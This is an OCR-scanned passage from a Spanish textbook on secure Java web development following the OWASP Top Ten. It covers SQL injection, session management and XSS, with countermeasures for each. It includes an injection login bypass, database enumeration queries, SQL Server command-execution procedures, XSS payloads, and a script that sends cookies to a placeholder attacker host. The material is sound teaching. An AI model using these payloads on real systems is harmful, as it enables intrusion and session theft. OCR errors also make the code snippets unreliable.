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~ INTRODUCCION

Java es uno de los lenguajes de programacion mds utilizados a nivel
empresarial a la hora de desarrollar aplicaciones de gestion con buenos niveles de
escalabilidad y disponibilidad. Requiere programadores con solidos conocimientos
en programaciom orientada a objetos v arquitectura de software. En este curso se
ensefian los principales eriterios y buenas pricticas desde el punto de vista de la
seguridad a la hora de erear aplicaciones web con Java.

OBIETIVOS DEL LIBRO

1. Dar a conocer los principales ecriterios v buenas pricticas para crear
aplicaciones web de forma segura en Java.

2. Comentar los aspectos de seguridad en las diferentes etapas del desarrollo
de aplicaciones web en Java, alineadas a las buenas pricticas propuestas
por OWASE.

3. Disefiar v desarrollar aplicaciones en entornos web, utilizando la
especificacion Java Enterprise Edition (J2EE), mediante el uso de librerias
v herramientas que podemos encontrar dentro del ecosistema de Java.






~ VULNERABILIDADES EN APLICACIONES
WEB DEL PROYECTO OWASP “TOP TEN”
EN JAVA

INTRODUCCION

OWASP es una comunidad abierta dedicada a facilitar que las organizaciones
puedan desarrollar, adquirir, operar y mantener aplicaciones en las gque se pueda
confiar. El Top Ten de OWASP representa un amplio consenso sobre cudles son los
fallos mas criticos de la seguridad de aplicaciones web.

El origen de las wvulnerabilidades puede estar en cualquier componente
involucrado en el sistema de produccion de una aplicacién web, como servidores,
seguridad de redes v conexiones, accesos a sistemnas relacionados, ete. Sin embargo,
muchas de ellas pueden prevenirse escribiendo codigo fuente seguro v protegido
contra amenazas polenciales.

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Analizar la importancia de la seguridad en aplicaciones de comercio
electronico.

2. Dar a conocer el proyecto OWASP (Open Web Application Security
Project) v en particular el top ten de vulnerabilidades que podemos
encontrar en aplicaciones web.
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3. Dar a conocer las principales vulnerabilidades en el contexto de una
aplicacion en Java v ofrecer soluciones para miligarlas.

1.1 INYECCION

1.1.1 Introduccion

Los defectos de inyeccidn, como los de inyeccion de SQL, sistema operativo
v LDAP, se producen cuando se mandan datos no confiables a un intérprele como
parte de un comando o una consulta. Los datos que envia el atacante pueden engaflar
a la aplicacion para ejecutar comandos no intencionados o acceso a los datos sin la
debida autorizacion.

1.1.2 Inyeccion SOL

Un ataque de Inyeccidn SQL consiste en la insercidn de codigo SQL por
medio de los datos de entrada desde la parte del cliente hacia la aplicacion, Es decir,
por medio de la insercidn de este codigo el atacante puede modificar las consultar
originales que debe realizar la aplicacion y ejecutar otras totalmente distintas con la
intencion de acceder a la herramienta, obtener informacién de alguna de las tablas o
borrar los datos almacenados.

Como consecuencias de estos ataques v dependiendo de los privilegios gue
tenga el usuario de la base de datos bajo el que se ejecutan las consultas, se podria
acceder no solo a las tablas relacionadas con la aplicacién, sino también a otras
tablas pertenecientes a otras bases de datos alojadas en ese mismo servidor.

Entre los principales problemas que pueden causar los ataques de Inyeccion
SQL podemos destacar:

F Confidencialidad. De forma habitoal, las bases de datos almacenan
informaciom sensible, por lo que la pérdida de confiabilidad es un
problema muy frecuente en aquellos sitios que son vulnerables a este
tipo de ataques.

F Autenticacidn. 51 el sistema de login que se utiliza para acceder a una
zona restringida de una web es débil, por medio de este tipo de ataques se
podria acceder sin la necesidad de conocer ni el usuario ni la contrasefia.



S RA-MA  Capitelo 1 VULNERABILIDADES EN APLICACIONES WEB DEL PROYECTO OWASP "TOP TEN®ENJAVA 19

¥ lIntegridad. Al igual gue un atague por inyeccion S3QL permite leer
informaciom relevante almacenada en la base de datos, también es posible
realizar cambios o incluso borrar toda informacion mediante este tipo de
vulnerabilidad.

Hablamos de pruebas de Inyeccion SQL cuando intenlamos inyectar una
determinada consulta SQL directamente en la Base de Datos, sin que la aplicacion
haga una validacion adecuada de los datos.

Un ejemplo clisico de la inyeccidon SQL consiste en pasar la entrada de
un usuario directamente al intérprete, sin validarla a través de consultas generadas
dindmicamente. El siguiente ejemplo muestra eddigo vulnerable a la Inyeceidn SQL:

S5tring consulta = “SELECT id_uswario FROM datos_usuario WHERE
nombre_usuaric = ** 4+ req.getParameter{®usuario”) + "' and

password_usuario = ‘* & req.getParameter(“password”) +"**;

Codigo Java Vulnerable al Ataque de “Inyeccion SOL"

51 no se validan correctamente los parimetros “usuario™ y “password”, el
usuario podria registrarse con la expresion *) OR “1'="1" como nombre de usuario
y contrasefia. En este caso se le permitird siempre el acceso va que la segunda
condicion de esta expresion es siempre cierta.

1.1.3 Precedencia de operadores

El operador AND (Y) toma precedencia sobre ¢l operador OR (o), v la
operacion AND solo es VERDADERO si ambos valores son VERDADERO. En este
caso, ambos valores son FALSO, por lo gue terminamos con la siguiente operacion:

El operador OR es YVERDADERO si cualquicra de los dos operandos
es VERDADEROD, asi que en este caso el resultado de todas las operaciones
condicionales es un simple VERDADERO para cada registro, haciendo que esto
actile como una peticion select sin una condicion. Y una operacion select sin una
condicion nos devolveria todos los registros de la tabla.

1.1.4 Particularidades de los backends

Entre las bases de datos susceptibles a este tipo de ataques nos encontramos
MyS0QL, Oracle, Postgres o MS SQL.
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Este punto detalla algunos de los objetivos més interesantes a la hora de
realizar un atague contra algunas de las bases de datos més populares. Se trata de
conocer las principales tablas a las que intentar extraer informacidn acerca de los
permisos de los que dispone el usuario con el que estd interactuando el aplicativo
con la base de datos, las principales tablas de las que extraer informacion interesante
y como conocer la estructura y el contenido de la misma.

1.1.4.1 MYSOL
Algunas de las funciones de MySQL mds interesantes son:
¥ version(): Muestra la versidn de la base de datos.

¥ database(): El nombre de la base de datos a la que se estd conectado.

F user(), system_user(), session_user(), current user(): Nombres de
distintos usuarios,

¥ last insert id{): Devuelve el identificador de la dltima insercion.

F connection_id{): Devuelve el identificador de la conexién actual.

En cuanto a las tablas, lo mejor es consultar los manuales mds actualizados,
ya gue los catilogos cambian con cierta frecuencia. Esta informacidn se puede
encontrar en:

http:fdevimysgl com/doc/refmandd. [len/
http:fdevmysgl.com/sdoc/refman//3. (Ven/

En la versidn 5, las tablas mas interesantes que se encuentran en el catilogo
o esquema de base de datos son:

¥ Tables: informacion acerca de las tablas almacenadas.

F Columns: los campos gue componen las tablas,

¥ Views: vistas disponibles.

F User_ privileges: permisos de los que disponen los usuarios.
¥ Routines: almacena procedimientos v funciones.

Con la siguiente consulta se obtienen todas las tablas del catdlogo:

SELECT table_schema,table_name FROM information_schema.tables WHERE

table_schema != ‘mysgl® AND table_schema != “information_schema’
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En el sipuiente enlace se pueden ver todas las consultas gue se pueden
realizar relacionadas con MySQL:

http:/ipentestmonkey.net/cheat-sheet/sgl-injection/mysgl-sgl-injection-
cheat-sheet

1.1.4.2 ORACLE Y DB2

Oracle tiene una tabla llamada “dual™ que permite realizar cualquier tipo
de consulta contra ella, aungue no tiene ningin contenido. Se trata de una tabla
“comodin®™ que se utiliza para realizar consultas sobre variables de entornos o hacer
pruebas respecto a la estructura de la consulta sobre la que se realiza la inyeccion,

En cuanto a informacion técenica sobre la base de datos, se puede obtener la
version de la misma mediante cualquiera de las siguientes consultas:

SELECT wersion from instance;
SELECT banner from wiversion;

En cuanto a la estructura de la base de datos, se pueden obtener las tablas
mediante una consulta a la tabla “all_tables™. Para consultar las tablas a las que tiene
acceso el usuario, se puede afiadir la condicion “where owner=user™. El nombre de
las mismas s¢ encuentra en la columna “table name™,

Con las siguientes consultas se oblienen todas las tablas del catdlogo:

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

En el siguiente enlace se pueden ver todas las consultas que se pueden
realizar relacionadas con Oracle:

http:-lpentestmonkev.net/cheat-sheet/'sgl-injection/oracle-sgl-injection-
cheat-sheet

Base de datos DB2

Se trala de una de las bases de datos mas veteranas, aunque tal vez es de
las menos comunes en entornos de aplicaciones web, Normalmente se encuentra en
entornos de mainframe en los que no hay un acceso desde el exterior. Aun asi, en
ocasiones es posible encontrarla en dichos entornos y realizar ataques de inyeceion
SQL. A continuacion, se muestran algunas de las tablas més interesantes para
consultar en un ataque de este estilo:
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b |
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sysibm.sysdummy1: Esta tabla se utiliza como comodin para realizar
consultas, es equivalente a la tabla “dual™ en Oracle.

sysibm.systables: MNos da informacion sobre las tablas que contiene la
base de datos.

sysibm.views: Informacion respeclo a vistas.
sysibm.columns / sysibm.sysecolumns: Campos de las tablas.
sysibm.usernames: Informacion de usuarios para conexiones externas.

sysibm.sysversions: Contiene la version de la base de datos.

En cuanto a los usuarios, DB2 siempre utiliza un sistema externo para la
autenticacion, por lo que no encontraremos informacion respecto de los mismos en
las tablas de catdlogo.

Con la siguiente consulla se obtienen todas las tablas del catalogo:

SELECT

name from sysibm.systables;

En el sipuiente enlace se pueden ver todas las consultas que se pueden
realizar relacionadas con DB2:

hitp:pentestimonkey.net/cheat-sheet/sgl-injection/dh2-sql-injection-cheat-

sheet

1.1.4.3 POSTGRESGL

Las siguientes consultas permiten obtener el usuario que esté logueado:

SELECT
SELECT
SELECT
SELECT
SELECT

user
current_user
session_user

usemame FROM pg_user
getpgusernama(}

En cuanto a informacidn técnica sobre la base de datos, se puede obtener

la version

SELECT
SELECT

v ¢l nombre de la base de datos actual mediante las siguientes consultas:

version()

current_database()

Con la signiente consulla se obtienen todas las tablas del catdlogo:
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SELECT c.relname FROM pg_catalog.pg_class ¢ LEFT JOIN pg_catalog.pg_namespace
n OM n.oid = c.relnamespace WHERE c.relkind IN {*r?,™) AND n.nspname WOT IN
{“pg_catalog’, ‘pg_toast') AND pg_catalog.pg_table_is wvisible{c.oid)

En el siguiente enlace se pueden ver todas las consultas que se pueden
realizar relacionadas con PostgresS0QL.

hitp:fpentestmonkev.net/cheat-sheet/sgl-infection/posteres-sql-infection-
cheat-sheet

1.1.4.4 SOL SERVER

Las tablas mds importantes de las que se puede obtener informacion del
sislema se encuentran dentro de la base de datos master. Algunas interesantes son:

¥ sysobjects: Contiene informacion acerca de todos los objetos dados de
alta por el catdlogo, donde se encuentran los nombres de tablas, vistas,
procedimientos almacenados, ete,

F syscolumns: Contiene la lista de las columnas de todas las tablas.

F sysusers: Informaciom acerca de los usuarios que tiene el sistema,
incluyendo el hash de la contrasefia de acceso. En caso de conseguir el
acceso, seria posible descargar dicho hash para intentar atagques de fuerza
bruta con los que obtener la contrasefia en claro.

¥V sysdatabases: Contiene informacidn acerca de otras bases de datos que
se encuentran en el catdlogo, de modo que se puede ampliar el ataque a
las mismas.

Finalmente, un punto especialmente interesante en cuanto a esta base de
datos son los procedimientos gue ofrece para la interaccion directa con el sistema
operativo. A continuacion, se listan algunas de las funciones mas interesantes desde
el punto de vista del atacante.

F xp cmdshell: Ejecuta un comando directamente contra el sistema
operativo.

F sp_makewebtask: Crea un fichero htm! que contiene el resultado de una
consulta, lo cual es especialmente recomendable para el envio posterior
de la salida de la misma, o publicarlo directamente en caso de ser posible
por la infraestructura de la base de datos.
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F sp_addextendedproc: Crea un stored procedure. Util para la creacion de
backdoors o para intentar escalar privilegios en la base de datos sobre la
que se gana acceso, asi como para realizar tareas automdticas.

¥ xp dirtree: Lista todas las subcarpetas de un directorio. Indicado para
conocer la estructura de la miquina que hospeda la base de datos.

F xp fxeddrives: Lista las unidades de disco.

¥ xp servicecomtrol: Permite arrancar y parar servicios. Muy atil para,
por ejemplo, arrancar un servicio de “fip™ con el que interactuar con la
magquina.

Con la siguiente consulta se obtienen todas las tablas del catdlogo:

SELECT name from sysibm.systables;

En el siguiente enlace se pueden ver todas las consultas que se pueden
realizar relacionadas con SQL Server:

hitp:ipentestmonkev.net/cheat-sheet/sgl-infection/mssgl-sql-infecition-
cheat-sheet
1.1.4.5 USO DE CHEATSHEETS

Es aconsejable consultar las “Cheat Sheets” de OWASP, como guias de
referencia para garantizar la seguridad de las aplicaciones.

El Cheat Sheet almacenamiento de contraseiias comenta como se deben
almacenar las contrasefias de forma segura a efectos de autenticacion de un usuario,

httpsAwww.owasp.orgdindex. php/Password Storage Cheat Sheet

El Cheat Sheet prevencidn de X585 comenta como prevenir esta vulnerabilidad
desde el punto de vista del desarrollador,

https-www.owasp.org/index php/XSS (Cross_Site_Scripting) Frevention
Cheat_Sheet

El Cheat Sheet olvide de contraseda es una gula que ayuda a los
desarrolladores a crear la funcionalidad de recuperar la contrasefia de forma segura.

htips -iwww owasp orgdindex php/Forgot_Password _Cheat_Sheet
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El Cheat Sheet gestion de la sesion es una guia donde se describen las
consideraciones de seguridad necesarias cuando se utilizan mecanismos de gestion
de sesibn en aplicaciones web.

https Awwwowasp. orgdndex. php/Session Management Cheat Sheet

El Cheat Sheet sql inyection comenta como prevenir esta vulnerabilidad
desde el punto de vista del desarrollador,

httpodwwwowasp.orgdindex php/SOL Infection Prevention Cheat Sheet

El Cheat Sheet de auwtenticacion es una guia donde se describen las
consideraciones de seguridad necesarias cuando se utilizan mecanismos inicio de
sesion v de autenticacion en aplicaciones web.

https Awww.owasp. orgdindex. php/Authentication_ Cheat_Sheet

El Cheat Sheet de parametrizacion de consultas es una guia donde se
describen las consideraciones de seguridad necesarias para crear aplicaciones
resistentes a una inyeccidn SOQL.

https Awww.owasp. orgdindex. php/Query_Parameterization Cheat Sheet

1.1.5 Contramedidas generales

Las contramedidas en este punto van destinadas a verificar que ¢l codigo
no es vulnerable a una inveccion SQL. Para ello a nivel de codigo es recomendable
seguir las siguientes recomendaciones:

F Emplear consultas parametrizadas (Prepared statements): consisie
en separar la compilacion de la consulta de su ejecucion con los
parametros indicados. Son sentencias precompiladas, en las cudles se
indica qué pardmetros serdn ingresados por el uvsuario. De esta forma
podemos indicarle al DBMS cudl es el codigo a ejecutar v cudles serdn
las variables. Esto permite que el motor distinga la sentencia a ejecutar de
los datos de entrada v asi evitar que el usuario agregue sentencias SQL.
Cuando se construye la sentencia sql, el motor de BD analiza, compila y
optimiza la forma en que se va a ejecutar, de forma que, si la construimos
una vez ¥ la gjecutamos n veces, el tiempo de gjecucion puede disminuir
considerablemente.

Por gjemplo, un codigo SQL invectado gque no conforme un dato del tipo
esperado (cadena, entero, real, fecha) provocard un fallo/excepcidn,
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Para hacer una consulta con un PreparedStatement lo primero que se hace
es indicar la estructura de la consulta dejando los pardmetros marcados
con una interrogacién " vy posteriormente se ird indicando que son
cada una de esas interrogaciones y su tipo de dato. Como podemaos ver la
consulta se construye de otra forma utilizando el cardeter de interrogacion
“ para definir la posicidn de cada uno de los pardmetros.

Preparedstatement stmt =connection.prepareStatement({™SELECT * FROM
users T+“WHERE USERNAME = ? AND PASSWD = ?™);

stmt.setstring{l, username);
stmt.setString(l, passwd};
ResultSet results = stmt.executeluery();

F Emplear procedimientos almacenados ya que generalmente nos les
afectan las inyecciones SQL. 51 se disefian de forma adecuada, no hay
posibilidad de generar dindmicamente consultas SQL maliciosas.

F Emplear frameworks del tipo ORM (Object Relational Mapping). En
Java encontramos herramientas como Hibernate v JPA (Java Persistence
API). Suelen ofrecer su propio lenguaje de consulias y por defecto hacen
uso por defecto de consultas parametrizadas.

¥ Escapar los datos introducidos por el usuario: La idea es que cada vez que
el usuario ingrese datos que se utilizardn en una sentencia, se escapen los
caracteres especiales (comillas simples, dobles, barras invertidas) para
que el dato sea un solo string v el motor de BD no la confunda por ¢l
codigo a ejecutar.

¥ Escapar los caracteres especiales utilizados en las consultas SQL: Al
hablar de “escapar caracteres” estamos haciendo referencia a afadir la
barra invertida " delante de las cadenas utilizadas en las consultas SQL
para evitar que estas corrompan la consulta. Algunos de estos caracteres
especiales que es aconsejable escapar son las comillas dobles (). las
comillas simples (*) o los caracteres 'x00 o 'x 1a ya que son considerados
como peligrosos pues pueden ser utilizados durante los ataques.

¥ Asignar minimos privilegios al usuario que conectard con la base de
datos: El usuario que utilicemos para coneclarnos a la base de datos desde
nuestro codigo debe tener los privilegios justos para realizar las acciones
que necesitemos. Mo utilizar nunca un usuario root yva que de esta forma
estaremos dando Facilidades a un posible atacante.



@ RA-MA  Capitelo L VULNERABILIDADES EN APLICACIONES WEB DEL PROYECTO OWASP "TOP TEN®ENJRVA 27

1.2 PERDIDA DE AUTENTICACION Y GESTION DE SESIONES

1.2.1 Introduccion

Las funcionalidades relacionadas con la autenticacion v gestidn de sesiones
de los usuarios son frecuentemente implementadas de forma incorrecta, permitiendo
a los atacantes comprometer contrasenias, llaves, token de sesiones, o explotar otros
fallos de implementacibn para suplantar la identidad de otros usuarios,

1.2.2 Perdida de autenticacion y gestion de sesiones

Las vulnerabilidades relacionadas con la pérdida de autenticacién y gestion
de sesiones son criticas en la seguridad de las aplicaciones web ya que permiten a
un atacante suplantar la informacion de un determinado usuario, pudiendo llegar
a obtener una cuenta de administracion que le permita sabotear los controles de
autorizacion v registro de la aplicacién, Esta situacidn podria ocasionar un acceso
no autorizado a cualguier tipo de informacion que se encuentre almacenada en el
servidor o los servicios que han sido comprometidos.
Defectos en los mecanismos de autenticacion

¥ Dificil construir mecanismos de autenticacion robustos y fiables.

F Deficiencias en gestion de contrasefias, mecanismos de recuperacion de
contrasenas, preguntas secretas, ...

F Uso de identificadores de usuario y/o sesion en las URL manejadas, etc
F Parimetros de autenticacion de usuarios v sesiones ficiles de adivinar,

F Defectos en la regeneracion de credenciales de aceeso.

Defectos en la gestion de sesiones
P Ausencia o deficiencias en el mecanismo de logowts.
¥ Ausencia de fimeonts o Lempo de vida de sesiones excesivo.

¥V Cookies de sesion predecibles o en claro facilita el “robo de sesiones”,
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1.2.3 Escenarios de exposicidn

Existen multitud de situaciones en las que nos podemos encontrar ante
una aplicacion vulnerable a este tipo de ataque, pero la mayor parte de las veces se
encuentran en la gestidon de las contrasefias, la expiracion de sesiones o ¢l proceso de
cierre de sesion. Ademads, debe prestarse especial atencion a los procesos que permiten
la recuperacion de los valores del usuario de forma automitica como pueden ser los
servicios de pregunta secreta, de actualizacion de cuenta o de “Recordar contrasefia™

Entre los principales escenarios de exposicion podemos destacar:

r

r

Credenciales ficiles de adivinar por medio de contrasefias débiles de
administracion.

Creacidn de cuentas, cambio de contrasefias, identificadores de sesion
predecibles ficiles de adivinar.

P 1Ds de sesion expuestos en la URL (URL rewriting).

L4

[Ds de sesion wulnerables a ataques de fijacion de sesidn (session
fixation).

Control el tiempo de expiracion de sesiones.

1.2.3.1 SESIONES ALMACENADAS EN LOCAL

Desde el punto de vista del usuario es recomendable seguir un conjunto de
buenas pricticas para almacenar la sesién del mismo cuando se aulentica en una

aplicacion:

r

Usar los métodos de sesion gue nos proporciona el servidor de aplicaciones
que estemos usando. En este caso no estamos refiriendo a la sesion y a
las cookies.

Asegurar que la operacion de cierre de sesion realmente destruye dicha
sesion. También fijar ¢l periodo de expiracion de la sesidn (periodo de
tiempo en el que no se realice ninguna accidn bajo dicha sesion); por
ejemplo, para aplicaciones criticas de 2 a 5 minutos, mientras que para
otras aplicaciones mds comunes se podria usar de 15 a 30 minutos.

En el descriptor de despliegue podemos fijar la caducidad de la sesién en
minutos,

<session-config>

<session-timeout>15</session-timeout:
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</sessiom-configs

P Paracerrar la sesidn lo més correcto seria destruir la sesidn, de esta manera
nuesira sesion dejard de existir a todos los efectos. Para ello usaremos la
siguiente sentencia, cuya funcion es destruir la sesion. La podriamos usar
por gjemplo en un Servlet encargado del cierre de sesidm.

request.getSession().invalidate(};

¥ Para evitar el robo de sesion mediante cddigo Java o podrlamos realizar
las siguientes comprobaciones. En primer lugar, habri que comprobar
si los datos de usuario son comrectos y posteriormente se podria hacer
algo como afiadir algin pardmetro a la sesion indicando que el usuario
estd aulenticado, afadiendo posteriormente a la sesion el identificador
del usuario.

if (password.eguals{user.getPass()} == true) {

f/%e afade a la sesidn um boolean indicando que estd autentificado
request.getSession().setattribute(™auth”, true);

f/%e afade a la sesidn el identificador del usuario
request.getSession).setAttribute(“usuario®”; user.getMail(});

}

1.2.3.2 MALA GESTION DE LA AUTENTICACION

La autenticacibn insuficiente ocurre cuando un sitio web permite a un
atacante acceder a contenido o funcionalidad sensible sin tener que autenticarse
correctamente. Las herramientas de administracion basadas en web son un buen
ejemplo de sitios web que proporcionan acceso a funcionalidades sensibles.
Dependiendo de los recursos especificos online, estas aplicaciones web no deberian
ser directamente accesibles sin requerir de la forma apropiada la verificacion de la
identidad del usuario.

En el dmbito de la configuracion de la autenticacion, algunos recursos son
protegidos “ocultando™ la ubicacidon especifica v no enlazando su ubicacion en el
sitio web principal u otras zonas piablicas. Sin embargo, esta actuacion no es mds que
“seguridad a través de oscuridad™. Es importante entender que simplemente porque un
recurso es desconocido en un principio para un atacante, no implica que este recurso
no permanezea accesible directamente a través de una URL especifica. Esta URL
puede ser descubierta a través de pruebas de fuerza bruta sobre ubicaciones comunes
de ficheros ¥ directorios, mensajes de error, logs o quizas recursos documentados en
ficheros de ayuda. Estos recursos, va sean contenidos o funcionalidades, deben ser
adecuadamente protegidos.
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Muchas aplicaciones web han sido disefiadas con  funcionalidades
administrativas e¢n una uhicacion fuera del directorio raiz (Jadmin/). Este directorio
generalmente nunca es enlazado desde el sitio web, pero ain asi puede ser accedido
utilizando un navegador web estindar.

Ya que el usuario o desarrollador nunca esperd gue alguien pudiera ver
esta pagina, ¢l afadido de autenticacidén es pasado por alto en muchas ocasiones.
51 un atacante simplemente visitara esta pigina, oblendria acceso completo de
administracion al sitio web.

1.2.4 Contramedidas generales

Las contramedidas en este punto van destinadas a verificar el correcto uso
de las sesiones y autenticacion en Java. Para ello a nivel de codigo es recomendable
seguir las siguientes recomendaciones:

P No enviar informacion sensible en la URL como el sesion id o cualguier
id que pueda identificar al usuario.

F Utlizar el protocolo HTTPS para que la comunicacion sea cifrada
incluyendo la cookic de sesion. Para las cookies de sesidn activar la
opeidn secure que evita que el navegador pueda enviar la cookie por
HTTP y, por tanto, sea posible obtenerla interceplando el trdfico.

¥ Asociar el identificador con informacién del usuario Onica, como su
direccion IP: en el codigo fuente de la pagina se puede obtener mediante
el método RemoteAddr, la direccidn IP del usuario, para almacenarla a
continuacion en la sesion v controlar que no ha cambiado en cada nueva
peticion web.

F Invalidar los identificadores de sesidn: Ante un cierre de sesion, el

cumplimiento del timeowut de sesiom o el vencimiento del Hempo méximo
de validez de sesidn se ha de invalidar el identificador de sesion en uso.

F No reutilizar los identificadores de sesién: De nada sirve invalidar el
identificador de sesion si el algoritmo de generacion del identificador
genera el mismo identificador para el mismo usuario.

V' Prevenir la fijacién de sesidn: Renovar ¢l identificador, al autenticarse
el usuario, o asignarlo tnicamente después de la autenticacion: tampoco
existe un método, para renovar el identificador, por lo que se debe finalizar
la sesion actual y erear una nueva en el coddigo fuente de la pagina web.
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En Java. antes de crear una nueva sesion se recomienda como paso previo
invalidarla llamando al método invalidate():

session.invalidate();

session=request.getSession(true);

F Establecer un timeout de sesién: De esta forma, ante cierto tiempo de
inactividad del usuario, se cierra la sesion v por tanto se invalida en el
servidor el identificador de sesion. Mediante esta medida se minimiza
la ventana de tiempo en el que un atacante puede acceder al equipo
v reutilizar el identificador de sesion s1 el wsuario no hubiera cerrado
sesion. En proyectos de Java se estable en la opeidn session-timeout del
fichero web.xml:

<session-config>
<session-timeout»15</session-timeouts
<session-configs

F Establecer un tiempo maximo de validez de sesidon: Aparte de un tiempo
maximo de inactividad, es conveniente establecer un tiempo maximo de
validez de sesion, también llamado de expiracion de sesidn, para gue en
caso de verse comprometido el identificador, este no pueda ser utilizado
durante mds tiempo del que dicta el tiempo maximo de validez de sesidn.

P Utilizar cookies no persistentes: En la medida de lo posible es mejor
utilizar cookies no persistentes (aguellas que no tienen definidas el
atributo Max-Age o Expires). Estas cookies son eliminadas al cerrar el
navegador, por lo gue un atacante, independientemente de gue no haya
vencido el fimeout o el tiempo de validez de sesidn en el servidor, no
podrd acceder al identificador.

1.3 SECUENCIAS DE COMANDOS EN SITIOS CRUZADDS (XSS)

1.3.1 Introduccion

Esta vulnerabilidad se produce cuando una aplicacidn toma datos no
confiables y los envia a un navegador web sin realizar la validacion apropiada.
XSS permite a los atacantes ejecutar scripts en el navegador de la victima, lo que
puede dar lugar a robo de sesiones, modificar sitios web o redirigir al usuario a sitios
maliciosos. Se aprovecha de la falta de validacidn para ejecutar codigo javascript
malicioso en el cliente.
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Los errores de X85 ocurren cada vez que las aplicaciones utilizan los datos
introducidos por el usuario y los envian al navegador web sin validarlas o codificarlas
primero. X885 permite que el atacante ejecute un script en el navegador de la victima,
el cual puede obtener las cookies del usuario o inyectlar codigo en la pdgina para
obtener credenciales.

1.3.2 Definicion de script

Ejecuciom de chdigo script arbitrario “incrustado™ por un tercero en campos
de datos que son enviados desde el servidor WEB al navegador de la victima,

Se incluirin datos que serin interpretados como codigo legitimo por el
navegador de la victima v que modificardn el comportamiento o aspecto de la pdgina.

Etiquetas "problemiticas™: <script> ... </script>

Introducidas en algin campo de formulario, en pardmetros de la URL o en
un pardmetro de una peticidn HTTP:

«script> alert(“Esto es wulnerable a X85") «<fscript>

1.3.3 Definicion de atague XSS

Es un atagque de inyeccion de codigo malicioso para su posterior ejecucion,
que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador.
Sucede cuando un usuario malintencionado envia codigo malicioso a la aplicacion
web v se coloca en forma de un hipervinculo para condueir al usuario a otro sitio web
o un correo electronico.

XSS permite a los atacantes ejecutar scripts en el navegador de la victima,
lo que puede dar lugar a robo de sesiones, modificar sitios web o redirigir al usuario
a sitios maliciosos,

Cross sile scripting supone un ataque a la privacidad de los clientes de un
determinado website, pudiendo llegar a un compromiso total de la seguridad cuando
se roban detalles acerca de un cliente. El ataque X85 involucra a las tres partes — el
atacante, un cliente v la web. El objetivo del ataque podrd ser robar las cookies del
usuario, o cualquier otra informacion sensible, que pueda autenticar al cliente en el
site.
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Figura 1.1. Flujo ataque X55

Una pagina es vulnerable a X585 cuando lo que nosotros enviamos al servidor
(un comentario, un cambio en un perfil, una blsqueda, ete.) se ve posteriormente en
la pagina de respuesta.

Comunmente, los atagues X585 implican el uso de codigo JavaScript, pero
también pueden incluir cualquier tipo de contenido active gjecutable. Aunque los
tipos de ataques varian en solisticacidn, existe un método generalmente fiable para
detectar vulnerabilidades X85,

Vulnerability: Cross Site Scripting (XSS)

Name Test

<BCRIPT > alert{ " X888 )< /ECRIPT> ~
Message *

| %

[ Sign Guestbook j
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Mensaje de la pagina

K55

Figura 1.2. Ejemplo de atague X535 en formulario

Peligros de un atague X585

F Obtener de sesion v cookies del usuario

¥ Bedirigir a una pagina alternativa con fines maliciosos.

F Presentar contenido falso (phishing) para que obtener informacion
privada del usuario.

El principal problema estd en que normalmente no se validan correctamente
los datos de entrada que son usados en cierta aplicacion. Esta vulnerabilidad puede
estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta
(redirecciones framesets).

Directa: Funciona localizando puntos débiles en la programacion de los
filtros. Asi que si, por gjemplo, logran filtrar los <iframe>, <script=, el atacante
siempre puede poner un <div> malicioso vy jugar con estilos para ejecutar el codigo
javascript.

«OIV STYLE="background-image: url{javascript:alert("X55'))">

Indirecta: Tiene lugar cuando hay un mensaje o una ruta en la URL del
navegador o en una cookie. Para saber el contenido de una cookie, puedes usar
el siguiente script. Para ¢jecutarlo basta colocarlo en la barra de direcciones del
navegador.

javascript:for(var g in document.cookie.split{®;*))void(prompt(“Valor de cookie
“+document. cookie.split{“;*)[g].split(“=")[@],document.cookie.split({ ;")
[g].split{*=")[1]));alert{"Cookies:n™+document.cookie.replace{/;/,"rn"));
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1.3.4 Tipos de ataques XSS

Existen tres tipos de atagues XS85:

Reflejado (Refected)

La vulnerabilidad Reflected Cross-Site Scripting se produce cuando los
datos proporcionados por un cliente web son utilizados de forma inmediata por los
scripts del lado servidor para generar una pagina de resultados para ese usuario,

En este caso serd el propio usuario el que tendra que ejecutar una URL
maliciosa. Los datos de la URL maliciosa son enviados al servidor v son reflejados
de vuelta en la respuesta mostrada en el cliente.

Se origina cuando la victima carga una URL del tipo:

http-iidominiovulnerablexss. com/pagina *xss=<script=alert{ ' X558 )</
script=

51 los datos no validados, gque son proporcionados por el usuario, se incluven
en la pagina resultante sin codificacion HTML, esto permitird al codigo del lado
cliente ser insertado en la pdgina de forma dindmica. Un ejemplo clasico lo podemos
encontrar en los motores de blsqueda: si uno busca una cadena que incluya algin
cardcter HTML especial, a menudo la cadena de blisqueda se volverd a mostrar entre
los resultados para indicar qué es lo que se buscaba. 51 ninguna de las ocurrencias de
los términos de blasqueda estdn codificados, estaremos ante un caso de X85,

Almacenado (Stored X55)

En este caso el problema que tenemos es que el contenido se envia y sin
realizar validaciones se almacena en el servidor de forma persistente, por ¢jemplo, a
través de un formulario que no se haya validado correctamente,

Se produce cuando un atacante consigue inyectar codigo malicioso en una
web que es vulnerable. El eodigo inyectado gqueda “almacenado™ en la base de datos
de una web (formularios) ¥ cuando los usuarios visitan esa web el codigo se ejecuta.

El atacante intentard enviar informacion a nuestro servidor por medio de
nuestros formularios con la intencidm de que dicha informacidn sea almacenada en
nuestra base de datos y posteriormente sea mostrada a los demds usuarios del sistema.

Muchos sitios web hospedan boletines de noticias donde usuarios registrados
pueden publicar mensajes. A un usuario registrado se le asigna una cookie de 1D de
sesion autorizdndole para publicar mensajes. Un atacante podria recuperar la cookie
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del usuario logueado publicando un mensaje conteniendo un javascript habilmente
construido.

<SCRIPT>

document. location=

‘http:sffattackerhost.example/cgi-bin/cookiesteal .cgi?’ +document. cookie
</SCRIPT>

Fragmento de codigo de mbo de cookie

Basado en el DOM (DOM Based X55)

Donde el codige JavaScript accede a un pardmetro de una peticion URL y
utiliza esta informacion para escribir HTM L en la propia pagina, y si esta informacion
no se codifica uwtilizando entidades HTML, es probable que nos encontremos ante
una vulnerabilidad X885,

Un ejemplo podria ser cuando un atacante aloja un site malicioso cuyo
contenido enlaza a una pagina vulnerable en el sistema local del cliente. Se podria
inyectar un seript y llegar a ejecutarlo con los privilegios gue tiene el navegador del
cliente en su sistema. Esta situacion, se saltaria por completo el sandbox (restriccion
de seguridad) del lado cliente, no solo las restricciones entre dominios (cross-
domain) que habitualmente se evitan en otros exploits XS5,

